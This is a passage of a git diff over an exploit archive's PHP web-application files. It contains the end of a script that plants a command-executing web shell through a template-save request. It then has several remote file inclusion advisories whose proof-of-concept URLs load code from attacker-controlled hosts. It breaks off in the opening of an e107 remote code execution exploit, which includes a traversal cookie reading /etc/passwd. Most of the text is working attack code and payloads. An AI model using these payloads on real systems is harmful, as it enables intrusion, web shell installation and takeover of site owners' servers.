+$packet.="Accept-Encoding: text/plain\r\n";
+$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
+$packet.="Content-Length: ".strlen($data)."\r\n";
+$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Cookie: ".$cookie."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+$packet.=$data;
+sendpacketii($packet);
+sleep(2);
+
+//register_globals=on
+$data='-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="op_action"
+
+save
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="mod_path"
+
+.
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="lang"
+
+english
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="script"
+
+../images/library/placeholder.php
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="code"
+
+<?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?>
+-----------------------------7d626f251b00fa--
+';
+$packet ="POST ".$p."include/mail_template.php HTTP/1.0\r\n";
+$packet.="Accept-Encoding: text/plain\r\n";
+$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
+$packet.="Content-Length: ".strlen($data)."\r\n";
+$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Cookie: ".$cookie."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+$packet.=$data;
+sendpacketii($packet);
+sleep(2);
+
+$packet ="GET ".$p."images/library/placeholder.php HTTP/1.0\r\n";
+$packet.="SUNTZU: $cmd\r\n";
+$packet.="Accept-Encoding: text/plain\r\n";
+$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+$packet.=$data;
+sendpacketii($packet);
+if (strstr($html,"my_delim"))
+{
+ $temp=explode("my_delim",$html);
+ die($temp[1]);
+}
+echo "exploit failed...";
+?>
+
+# milw0rm.com [2006-09-22]
diff --git a/platforms/php/webapps/2436.txt b/platforms/php/webapps/2436.txt
index 557a7c069..4826133e7 100755
--- a/platforms/php/webapps/2436.txt
+++ b/platforms/php/webapps/2436.txt
@@ -1,29 +1,29 @@
-###### ToXiC #########################
-#
-#A-Blog Remote File Include
-#
-#BuG FounD by Drago84
-#
-#Application Affect:A-Blog
-#Source Code:
-#http://prdownloads.sourceforge.net/a-blog/A-BlogV2.rar?download
-#Problem:
-#<?php include ("$navigation_start"); ?>
-#<?php include("$navigation_middle"); ?>
-#Soluction:
-#Include in page require ("mainfile.php");
-#Page Vulnerable : menu.php
-#Dir : /navigation/
-# Exempe Of ExPloit
-is:
-#http://www.site.com/ablog_dir/navigation/menu.php?navigation_start=http://marcusbestlamer.gay/shell.php?
-
-#GrEatZ All Member of ToXiC, Str0ke
-# Fuck Sonic,a|x
-# ToXic Security Italian CreW
-
-######
-ToXiC
-###################
-
-# milw0rm.com [2006-09-26]
+###### ToXiC #########################
+#
+#A-Blog Remote File Include
+#
+#BuG FounD by Drago84
+#
+#Application Affect:A-Blog
+#Source Code:
+#http://prdownloads.sourceforge.net/a-blog/A-BlogV2.rar?download
+#Problem:
+#<?php include ("$navigation_start"); ?>
+#<?php include("$navigation_middle"); ?>
+#Soluction:
+#Include in page require ("mainfile.php");
+#Page Vulnerable : menu.php
+#Dir : /navigation/
+# Exempe Of ExPloit
+is:
+#http://www.site.com/ablog_dir/navigation/menu.php?navigation_start=http://marcusbestlamer.gay/shell.php?
+
+#GrEatZ All Member of ToXiC, Str0ke
+# Fuck Sonic,a|x
+# ToXic Security Italian CreW
+
+######
+ToXiC
+###################
+
+# milw0rm.com [2006-09-26]
diff --git a/platforms/php/webapps/2459.txt b/platforms/php/webapps/2459.txt
index e231ab384..ac6b8980d 100755
--- a/platforms/php/webapps/2459.txt
+++ b/platforms/php/webapps/2459.txt
@@ -1,64 +1,64 @@
-#==============================================================================================
-#Forum82 <= v2.5.2b (repertorylevel) Multiple R.F.I. Vulnerabilities
-#===============================================================================================
-#                                                                       
-#Critical Level : Dangerous                                             
-#                                                                       
-#Script Dowload : http://www.comscripts.com/jump.php?action=script&id=805
-#                                                                       
-#Version : v2.5.2b 
-#                                                         
-#================================================================================================
-#
-#Bug in : 
-#
-#almost all files are infected...
-#================================================================================================
-#
-#Vulnerable Code :
-#
-#		summary & example:
-#
-#	require($repertorylevel.'include/tables.inc.'.$e);
-#       require($repertorylevel.'lang/lang.inc.'.$e);
-#       require($repertorylevel.'include/db/mysql.inc.'.$e);
-#         
-#
-#================================================================================================
-#
-#Exploit :
-#--------------------------------
-#
-#http://sitename.com/[Forum82_Installed_DIR]/forum/search.php?repertorylevel=http://evilsite.com/evilscript.txt?
-#
-#http://sitename.com/[Forum82_Installed_DIR]/forum/message.php?repertorylevel=http://evilsite.com/evilscript.txt?
-#
-#http://sitename.com/[Forum82_Installed_DIR]/forum/member.php?repertorylevel=http://evilsite.com/evilscript.txt?
-#
-#http://sitename.com/[Forum82_Installed_DIR]/forum/mail.php?repertorylevel=http://evilsite.com/evilscript.txt?
-#
-#http://sitename.com/[Forum82_Installed_DIR]/forum/lostpassword.php?repertorylevel=http://evilsite.com/evilscript.txt?
-#
-#http://sitename.com/[Forum82_Installed_DIR]/forum/gesfil.php?repertorylevel=http://evilsite.com/evilscript.txt?
-#
-#http://sitename.com/[Forum82_Installed_DIR]/forum/forum82lib.php3?repertorylevel=http://evilsite.com/evilscript.txt?
-#
-#bla...bla...
-#
-#
-#
-#
-#	the script files's are installed as .php3 to website.take care that...
-#
-#================================================================================================
-#Discoverd By : Silahsiz Kuvvetler 
-#
-#
-#Conatact : co-type[at]hotmail[dot]com
-#
-#GreetZ : FaTTaLGazI - NarcoTic - 0xyGen
-#
-#
-#==================================================================================================
-
-# milw0rm.com [2006-09-29]
+#==============================================================================================
+#Forum82 <= v2.5.2b (repertorylevel) Multiple R.F.I. Vulnerabilities
+#===============================================================================================
+#                                                                       
+#Critical Level : Dangerous                                             
+#                                                                       
+#Script Dowload : http://www.comscripts.com/jump.php?action=script&id=805
+#                                                                       
+#Version : v2.5.2b 
+#                                                         
+#================================================================================================
+#
+#Bug in : 
+#
+#almost all files are infected...
+#================================================================================================
+#
+#Vulnerable Code :
+#
+#		summary & example:
+#
+#	require($repertorylevel.'include/tables.inc.'.$e);
+#       require($repertorylevel.'lang/lang.inc.'.$e);
+#       require($repertorylevel.'include/db/mysql.inc.'.$e);
+#         
+#
+#================================================================================================
+#
+#Exploit :
+#--------------------------------
+#
+#http://sitename.com/[Forum82_Installed_DIR]/forum/search.php?repertorylevel=http://evilsite.com/evilscript.txt?
+#
+#http://sitename.com/[Forum82_Installed_DIR]/forum/message.php?repertorylevel=http://evilsite.com/evilscript.txt?
+#
+#http://sitename.com/[Forum82_Installed_DIR]/forum/member.php?repertorylevel=http://evilsite.com/evilscript.txt?
+#
+#http://sitename.com/[Forum82_Installed_DIR]/forum/mail.php?repertorylevel=http://evilsite.com/evilscript.txt?
+#
+#http://sitename.com/[Forum82_Installed_DIR]/forum/lostpassword.php?repertorylevel=http://evilsite.com/evilscript.txt?
+#
+#http://sitename.com/[Forum82_Installed_DIR]/forum/gesfil.php?repertorylevel=http://evilsite.com/evilscript.txt?
+#
+#http://sitename.com/[Forum82_Installed_DIR]/forum/forum82lib.php3?repertorylevel=http://evilsite.com/evilscript.txt?
+#
+#bla...bla...
+#
+#
+#
+#
+#	the script files's are installed as .php3 to website.take care that...
+#
+#================================================================================================
+#Discoverd By : Silahsiz Kuvvetler 
+#
+#
+#Conatact : co-type[at]hotmail[dot]com
+#
+#GreetZ : FaTTaLGazI - NarcoTic - 0xyGen
+#
+#
+#==================================================================================================
+
+# milw0rm.com [2006-09-29]
diff --git a/platforms/php/webapps/2494.txt b/platforms/php/webapps/2494.txt
index 19329a982..e517301a7 100755
--- a/platforms/php/webapps/2494.txt
+++ b/platforms/php/webapps/2494.txt
@@ -1,98 +1,98 @@
-ECHO_ADV_49$2006
-
------------------------------------------------------------------------------------------------
-[ECHO_ADV_49$2006]OpenDock Easy Doc <=1.4 (doc_directory) Multiple Remote File Inclusion Vulnerability
------------------------------------------------------------------------------------------------
-
-Author          : Dedi Dwianto a.k.a the_day
-Date Found      : October, 09th 2006
-Location        : Indonesia, Jakarta
-web             : http://advisories.echo.or.id/adv/adv49-theday-2006.txt
-Critical Lvl    : Highly critical
-Impact          : System access
-Where           : From Remote
----------------------------------------------------------------------------
-
-Affected software description:
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Application     : OpenDock Easy Doc
-version         : <=1.4
-URL             : http://web.opendock.net
-
----------------------------------------------------------------------------
-
-Vulnerability:
-~~~~~~~~~~~~~
-
-In folder sw/lib_up_file/ I found vulnerability script file.php
---------------------------file.php---------------------------------------
-....
-<?
-
- include $doc_directory.$path_sw."lib_up_file/lib_file.php";
- include $doc_directory.$path_sw."lib_up_file/lib_form_file.php";
- include $doc_directory.$path_sw."lib_up_file/lib_read_file.php";
- include $doc_directory.$path_sw."lib_up_file/lib_page_file.php";
- include $doc_directory.$path_sw."lib_up_file/find_file.php";
- include $doc_directory.$path_sw."lib_up_file/down_stat.php";
-
-...
-----------------------------------------------------------
-
-Input passed to the "$doc_directory" parameter in file.php is not
-properly verified before being used. This can be exploited to execute
-arbitrary PHP code by including files from local or external
-resources.
-
-Also affected files on Files:
-
-sw/lib_up_file/down_stat.php
-sw/lib_up_file/file.php
-sw/lib_up_file/find_file.php
-sw/lib_up_file/lib_file.php
-sw/lib_up_file/lib_form_file.php
-sw/lib_comment/find_comment.php
-sw/lib_comment/comment.php
-sw/lib_comment/lib_comment.php
-sw/lib_find/find.php
-etc..
-
-
-
-Proof Of Concept:
-~~~~~~~~~~~~~~
-
-http://target.com/[OpenDockEasyDock_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt?
-http://target.com/[OpenDockEasyDock_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt?
-http://target.com/[OpenDockEasyDock_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt?
-http://target.com/[OpenDockEasyDock_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt?
-
-Solution:
-~~~~~~
-- Sanitize variable $doc_directory on affected files.
-- Turn off register_globals
-
-Timeline:
-~~~~~~
-09 - 10 - 2006 Bugs Found
-09 - 10 - 2006 Vendor Contact
-09 - 10 - Public Disclosure
-
----------------------------------------------------------------------------
-
-Shoutz:
-~~
-~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
-~ Jessy My Brain
-~ az001,boom_3x,mathdule,angelia
-~ newbie_hacker@yahoogroups.com
-~ #aikmel - #e-c-h-o @irc.dal.net
-------------------------------------------------------------------------
----
-Contact:
-~~~
-    EcHo Research & Development Center
-    the_day[at]echo[dot]or[dot]id
-
-# milw0rm.com [2006-10-09]
+ECHO_ADV_49$2006
+
+-----------------------------------------------------------------------------------------------
+[ECHO_ADV_49$2006]OpenDock Easy Doc <=1.4 (doc_directory) Multiple Remote File Inclusion Vulnerability
+-----------------------------------------------------------------------------------------------
+
+Author          : Dedi Dwianto a.k.a the_day
+Date Found      : October, 09th 2006
+Location        : Indonesia, Jakarta
+web             : http://advisories.echo.or.id/adv/adv49-theday-2006.txt
+Critical Lvl    : Highly critical
+Impact          : System access
+Where           : From Remote
+---------------------------------------------------------------------------
+
+Affected software description:
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Application     : OpenDock Easy Doc
+version         : <=1.4
+URL             : http://web.opendock.net
+
+---------------------------------------------------------------------------
+
+Vulnerability:
+~~~~~~~~~~~~~
+
+In folder sw/lib_up_file/ I found vulnerability script file.php
+--------------------------file.php---------------------------------------
+....
+<?
+
+ include $doc_directory.$path_sw."lib_up_file/lib_file.php";
+ include $doc_directory.$path_sw."lib_up_file/lib_form_file.php";
+ include $doc_directory.$path_sw."lib_up_file/lib_read_file.php";
+ include $doc_directory.$path_sw."lib_up_file/lib_page_file.php";
+ include $doc_directory.$path_sw."lib_up_file/find_file.php";
+ include $doc_directory.$path_sw."lib_up_file/down_stat.php";
+
+...
+----------------------------------------------------------
+
+Input passed to the "$doc_directory" parameter in file.php is not
+properly verified before being used. This can be exploited to execute
+arbitrary PHP code by including files from local or external
+resources.
+
+Also affected files on Files:
+
+sw/lib_up_file/down_stat.php
+sw/lib_up_file/file.php
+sw/lib_up_file/find_file.php
+sw/lib_up_file/lib_file.php
+sw/lib_up_file/lib_form_file.php
+sw/lib_comment/find_comment.php
+sw/lib_comment/comment.php
+sw/lib_comment/lib_comment.php
+sw/lib_find/find.php
+etc..
+
+
+
+Proof Of Concept:
+~~~~~~~~~~~~~~
+
+http://target.com/[OpenDockEasyDock_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt?
+http://target.com/[OpenDockEasyDock_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt?
+http://target.com/[OpenDockEasyDock_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt?
+http://target.com/[OpenDockEasyDock_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt?
+
+Solution:
+~~~~~~
+- Sanitize variable $doc_directory on affected files.
+- Turn off register_globals
+
+Timeline:
+~~~~~~
+09 - 10 - 2006 Bugs Found
+09 - 10 - 2006 Vendor Contact
+09 - 10 - Public Disclosure
+
+---------------------------------------------------------------------------
+
+Shoutz:
+~~
+~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
+~ Jessy My Brain
+~ az001,boom_3x,mathdule,angelia
+~ newbie_hacker@yahoogroups.com
+~ #aikmel - #e-c-h-o @irc.dal.net
+------------------------------------------------------------------------
+---
+Contact:
+~~~
+    EcHo Research & Development Center
+    the_day[at]echo[dot]or[dot]id
+
+# milw0rm.com [2006-10-09]
diff --git a/platforms/php/webapps/2495.txt b/platforms/php/webapps/2495.txt
index b952eaf23..33dd0bd09 100755
--- a/platforms/php/webapps/2495.txt
+++ b/platforms/php/webapps/2495.txt
@@ -1,98 +1,98 @@
-ECHO_ADV_50$2006
-
------------------------------------------------------------------------------------------------
-[ECHO_ADV_50$2006]OpenDock Easy Blog <=1.4 (doc_directory) Multiple Remote File Inclusion Vulnerability
------------------------------------------------------------------------------------------------
-
-Author          : Dedi Dwianto a.k.a the_day
-Date Found      : October, 09th 2006
-Location        : Indonesia, Jakarta
-web             : http://advisories.echo.or.id/adv/adv50-theday-2006.txt
-Critical Lvl    : Highly critical
-Impact          : System access
-Where           : From Remote
----------------------------------------------------------------------------
-
-Affected software description:
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Application     : OpenDock Easy Blog
-version         : <=1.4
-URL             : http://web.opendock.net
-
----------------------------------------------------------------------------
-
-Vulnerability:
-~~~~~~~~~~~~~
-
-In folder sw/lib_up_file/ I found vulnerability script file.php
---------------------------file.php---------------------------------------
-....
-<?
-
- include $doc_directory.$path_sw."lib_up_file/lib_file.php";
- include $doc_directory.$path_sw."lib_up_file/lib_form_file.php";
- include $doc_directory.$path_sw."lib_up_file/lib_read_file.php";
- include $doc_directory.$path_sw."lib_up_file/lib_page_file.php";
- include $doc_directory.$path_sw."lib_up_file/find_file.php";
- include $doc_directory.$path_sw."lib_up_file/down_stat.php";
-
-...
-----------------------------------------------------------
-
-Input passed to the "$doc_directory" parameter in file.php is not
-properly verified before being used. This can be exploited to execute
-arbitrary PHP code by including files from local or external
-resources.
-
-Also affected files on Files:
-
-sw/lib_up_file/down_stat.php
-sw/lib_up_file/file.php
-sw/lib_up_file/find_file.php
-sw/lib_up_file/lib_read_file.php
-sw/lib_up_file/lib_form_file.php
-sw/lib_comment/find_comment.php
-sw/lib_comment/comment.php
-sw/lib_comment/lib_comment.php
-sw/lib_find/find.php
-etc..
-
-
-
-Proof Of Concept:
-~~~~~~~~~~~~~~
-
-http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt?
-http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt?
-http://target.com/[OpenDockEasyBlog_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt?
-http://target.com/[OpenDockEasyBlog_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt?
-
-Solution:
-~~~~~~
-- Sanitize variable $doc_directory on affected files.
-- Turn off register_globals
-
-Timeline:
-~~~~~~
-09 - 10 - 2006 Bugs Found
-09 - 10 - 2006 Vendor Contact
-09 - 10 - Public Disclosure
-
----------------------------------------------------------------------------
-
-Shoutz:
-~~
-~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
-~ Jessy My Brain
-~ az001,boom_3x,mathdule,angelia
-~ newbie_hacker@yahoogroups.com
-~ #aikmel - #e-c-h-o @irc.dal.net
-------------------------------------------------------------------------
----
-Contact:
-~~~
-    EcHo Research & Development Center
-    the_day[at]echo[dot]or[dot]id
-
-# milw0rm.com [2006-10-09]
+ECHO_ADV_50$2006
+
+-----------------------------------------------------------------------------------------------
+[ECHO_ADV_50$2006]OpenDock Easy Blog <=1.4 (doc_directory) Multiple Remote File Inclusion Vulnerability
+-----------------------------------------------------------------------------------------------
+
+Author          : Dedi Dwianto a.k.a the_day
+Date Found      : October, 09th 2006
+Location        : Indonesia, Jakarta
+web             : http://advisories.echo.or.id/adv/adv50-theday-2006.txt
+Critical Lvl    : Highly critical
+Impact          : System access
+Where           : From Remote
+---------------------------------------------------------------------------
+
+Affected software description:
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Application     : OpenDock Easy Blog
+version         : <=1.4
+URL             : http://web.opendock.net
+
+---------------------------------------------------------------------------
+
+Vulnerability:
+~~~~~~~~~~~~~
+
+In folder sw/lib_up_file/ I found vulnerability script file.php
+--------------------------file.php---------------------------------------
+....
+<?
+
+ include $doc_directory.$path_sw."lib_up_file/lib_file.php";
+ include $doc_directory.$path_sw."lib_up_file/lib_form_file.php";
+ include $doc_directory.$path_sw."lib_up_file/lib_read_file.php";
+ include $doc_directory.$path_sw."lib_up_file/lib_page_file.php";
+ include $doc_directory.$path_sw."lib_up_file/find_file.php";
+ include $doc_directory.$path_sw."lib_up_file/down_stat.php";
+
+...
+----------------------------------------------------------
+
+Input passed to the "$doc_directory" parameter in file.php is not
+properly verified before being used. This can be exploited to execute
+arbitrary PHP code by including files from local or external
+resources.
+
+Also affected files on Files:
+
+sw/lib_up_file/down_stat.php
+sw/lib_up_file/file.php
+sw/lib_up_file/find_file.php
+sw/lib_up_file/lib_read_file.php
+sw/lib_up_file/lib_form_file.php
+sw/lib_comment/find_comment.php
+sw/lib_comment/comment.php
+sw/lib_comment/lib_comment.php
+sw/lib_find/find.php
+etc..
+
+
+
+Proof Of Concept:
+~~~~~~~~~~~~~~
+
+http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt?
+http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt?
+http://target.com/[OpenDockEasyBlog_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt?
+http://target.com/[OpenDockEasyBlog_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt?
+
+Solution:
+~~~~~~
+- Sanitize variable $doc_directory on affected files.
+- Turn off register_globals
+
+Timeline:
+~~~~~~
+09 - 10 - 2006 Bugs Found
+09 - 10 - 2006 Vendor Contact
+09 - 10 - Public Disclosure
+
+---------------------------------------------------------------------------
+
+Shoutz:
+~~
+~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
+~ Jessy My Brain
+~ az001,boom_3x,mathdule,angelia
+~ newbie_hacker@yahoogroups.com
+~ #aikmel - #e-c-h-o @irc.dal.net
+------------------------------------------------------------------------
+---
+Contact:
+~~~
+    EcHo Research & Development Center
+    the_day[at]echo[dot]or[dot]id
+
+# milw0rm.com [2006-10-09]
diff --git a/platforms/php/webapps/2503.txt b/platforms/php/webapps/2503.txt
index 1ce52d2d6..5239598ef 100755
--- a/platforms/php/webapps/2503.txt
+++ b/platforms/php/webapps/2503.txt
@@ -1,19 +1,19 @@
-#
-# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
-# Credits: DarkFig
-# Og.link: http://acid-root.new.fr/poc/13061007.txt
-#
-# Using http://www.google.com/codesearch
-# Few examples about what we can do with a code search engine
-# For educational purpose only.
-#
-# You can use regex in your research, this can be chaotic.
-# What's your opinion about the google code search project ?
-#
-
-# Affected.scr: compteur_v2
-# Download....: http://zebigbrozer.free.fr/compt_new/compteur_v2.zip
-# Poc.........: http://victim.xx/param_editor.php?folder=http://hack.c/backd.txt?
-# Vuln.code...: Line 9 , include($_GET["folder"]."param.php")
-
-# milw0rm.com [2006-10-10]
+#
+# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
+# Credits: DarkFig
+# Og.link: http://acid-root.new.fr/poc/13061007.txt
+#
+# Using http://www.google.com/codesearch
+# Few examples about what we can do with a code search engine
+# For educational purpose only.
+#
+# You can use regex in your research, this can be chaotic.
+# What's your opinion about the google code search project ?
+#
+
+# Affected.scr: compteur_v2
+# Download....: http://zebigbrozer.free.fr/compt_new/compteur_v2.zip
+# Poc.........: http://victim.xx/param_editor.php?folder=http://hack.c/backd.txt?
+# Vuln.code...: Line 9 , include($_GET["folder"]."param.php")
+
+# milw0rm.com [2006-10-10]
diff --git a/platforms/php/webapps/2519.txt b/platforms/php/webapps/2519.txt
index 7078da5f3..c117c3efe 100755
--- a/platforms/php/webapps/2519.txt
+++ b/platforms/php/webapps/2519.txt
@@ -1,39 +1,39 @@
-###############################################################################################################
-
-     Minichat v6 Remote File Include
-###############################################################################################################
-
-Affected Software .: Minichat v6
-Class................... : Remote File Inclusion
-Found by.............: Zickox
-Contact. ...............: los_misfits[at]hotmail.com
-
-###############################################################################################################
-Download Software:
-
-http://www.linkini.net/phpscripts/descargas/Tagboards%20(12%20Archivos)/Minichat%20v6.0%20-%20Con%20instalador.zip
-
-###############################################################################################################
-Affected File:
-
-ftag.php
-
-###############################################################################################################
-
-Code vulnerable:
-
-<? include($_GET['mostrar']); ?>
-
-
-###############################################################################################################
-
-
-Exploit:
-
-http://www.victim.com/path/ftag.php?mostrar=shell.txt?
-
-###############################################################################################################
-
-Special GreetingS: NETTOXIC | Txis | The Shredder | erboot | trty | jasus | Cvir.System | ZeroHack Team
-
-# milw0rm.com [2006-10-11]
+###############################################################################################################
+
+     Minichat v6 Remote File Include
+###############################################################################################################
+
+Affected Software .: Minichat v6
+Class................... : Remote File Inclusion
+Found by.............: Zickox
+Contact. ...............: los_misfits[at]hotmail.com
+
+###############################################################################################################
+Download Software:
+
+http://www.linkini.net/phpscripts/descargas/Tagboards%20(12%20Archivos)/Minichat%20v6.0%20-%20Con%20instalador.zip
+
+###############################################################################################################
+Affected File:
+
+ftag.php
+
+###############################################################################################################
+
+Code vulnerable:
+
+<? include($_GET['mostrar']); ?>
+
+
+###############################################################################################################
+
+
+Exploit:
+
+http://www.victim.com/path/ftag.php?mostrar=shell.txt?
+
+###############################################################################################################
+
+Special GreetingS: NETTOXIC | Txis | The Shredder | erboot | trty | jasus | Cvir.System | ZeroHack Team
+
+# milw0rm.com [2006-10-11]
diff --git a/platforms/php/webapps/2711.php b/platforms/php/webapps/2711.php
index 260470ca1..e124c8c22 100755
--- a/platforms/php/webapps/2711.php
+++ b/platforms/php/webapps/2711.php
@@ -1,330 +1,330 @@
-<?
-
-print '
-:::::::::  :::::::::: :::     ::: ::::::::::: :::        
-:+:    :+: :+:        :+:     :+:     :+:     :+:        
-+:+    +:+ +:+        +:+     +:+     +:+     +:+        
-+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
-+#+    +#+ +#+         +#+   +#+      +#+     +#+        
-#+#    #+# #+#          #+#+#+#       #+#     #+#        
-#########  ##########     ###     ########### ########## 
-::::::::::: ::::::::::     :::     ::::    ::::  
-    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
-    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
-    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
-    +#+     +#+        +#+     +#+ +#+       +#+ 
-    #+#     #+#        #+#     #+# #+#       #+# 
-    ###     ########## ###     ### ###       ### 
-	
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
- 
-
-[Exploit name: e107 <= 0.7.5 Remote Code Execution Exploit
-[Script name: e107 v.0.7.5
-[Script site: http://e107.org/
-dork: "This site is powered by e107"
-
-
-
-Find by: Kacper (a.k.a Rahim)
-
-
-========>  DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam  <========
-========>         http://www.rahim.webd.pl/            <========
-
-Contact: kacper1964@yahoo.pl
-
-(c)od3d by Kacper
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-Greetings DragonHeart and all DEVIL TEAM Patriots :)
-- Leito & Leon 
-TomZen, Gelo, Ramzes, DMX, Ci2u, Larry, @steriod, Drzewko, CrazzyIwan, Rammstein
-Adam., Kicaj., DeathSpeed, Arkadius, Michas, pepi, nukedclx, SkD, MXZ, sysios, 
-mIvus, nukedclx, SkD, wacky, xoron
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-                Greetings for 4ll Fusi0n Group members ;-)
-                and all members of hacker.com.pl ;)
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-';
-
-
-/*
-works with register_globals=On
-
-explaination:
-i find in file gsitemap.php on line 19-28:
-
-....
-require_once("class2.php");                             // <--------{1}
-
-if (file_exists(e_PLUGIN."gsitemap/languages/gsitemap_".e_LANGUAGE.".php"))
-{
-	include_once(e_PLUGIN."gsitemap/languages/gsitemap_".e_LANGUAGE.".php");
-}
-else
-{
-	include_once(e_PLUGIN."gsitemap/languages/gsitemap_English.php");
-}
-
-....
-
-in file class2.php on line 328-334:
-....
-$language=(isset($_COOKIE['e107language_'.$pref['cookie_name']]) ? $_COOKIE['e107language_'.$pref['cookie_name']] : ($pref['sitelanguage'] ? $pref['sitelanguage'] : "English"));         // <---------{2}
-define("e_LAN", $language);                            // <---------{3}
-define("USERLAN", ($user_language && (strpos(e_SELF, $PLUGINS_DIRECTORY) !== FALSE || (strpos(e_SELF, $ADMIN_DIRECTORY) === FALSE && file_exists(e_LANGUAGEDIR.$user_language."/lan_".e_PAGE)) || (strpos(e_SELF, $ADMIN_DIRECTORY) !== FALSE && file_exists(e_LANGUAGEDIR.$user_language."/admin/lan_".e_PAGE)) || file_exists(dirname($_SERVER['SCRIPT_FILENAME'])."/languages/".$user_language."/lan_".e_PAGE)    || (    (strpos(e_SELF, $ADMIN_DIRECTORY) == FALSE) && (strpos(e_SELF, $PLUGINS_DIRECTORY) == FALSE) && file_exists(e_LANGUAGEDIR.$user_language."/".$user_language.".php")  )   ) ? $user_language : FALSE));
-define("e_LANGUAGE", (!USERLAN || !defined("USERLAN") ? $language : USERLAN));                    // <---------{4}
-
-e107_include(e_LANGUAGEDIR.e_LANGUAGE."/".e_LANGUAGE.".php");                    // <---------{5}
-e107_include_once(e_LANGUAGEDIR.e_LANGUAGE."/".e_LANGUAGE."_custom.php");
-....
-
-so we can use: Cookie: e107language_e107cookie=../../../../../../../../../etc/passwd%00
-local include :)
-
-
-by Kacper ;)
-*/
-
-
-if ($argc<9) {
-print_r('
------------------------------------------------------------------------------
-Usage: php '.$argv[0].' host path username password user_id user_session date cmd OPTIONS
-host:      target server (ip/hostname)
-path:      e107 path
-username:  you registered login
-password:  you username password
-user_id:   you user ID
-user_session: user sid
-date:      current date, like: 307.2006 //$date = date("z.Y", time());
-cmd:       a shell command (ls -la)
-Options:
- -p[port]:    specify a port other than 80
- -P[ip:port]: specify a proxy
-Example:
-php '.$argv[0].' 2.2.2.2 /e107/ Hauru enter 99 c16d9ef241904bf801c6e45693387506 307.2006 ls -la -P1.1.1.1:80
-php '.$argv[0].' 1.1.1.1 / Hauru enter 99 c16d9ef241904bf801c6e45693387506 307.2006 ls -la
------------------------------------------------------------------------------
-');
-
-die;
-}
-
-error_reporting(0);
-ini_set("max_execution_time",0);
-ini_set("default_socket_timeout",5);
-
-function quick_dump($string)
-{
-  $result='';$exa='';$cont=0;
-  for ($i=0; $i<=strlen($string)-1; $i++)
-  {
-   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
-   {$result.="  .";}
-   else
-   {$result.="  ".$string[$i];}
-   if (strlen(dechex(ord($string[$i])))==2)
-   {$exa.=" ".dechex(ord($string[$i]));}
-   else
-   {$exa.=" 0".dechex(ord($string[$i]));}
-   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
-  }
- return $exa."\r\n".$result;
-}
-$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
-function sendpacket($packet)
-{
-  global $proxy, $host, $port, $html, $proxy_regex;
-  if ($proxy=='') {
-    $ock=fsockopen(gethostbyname($host),$port);
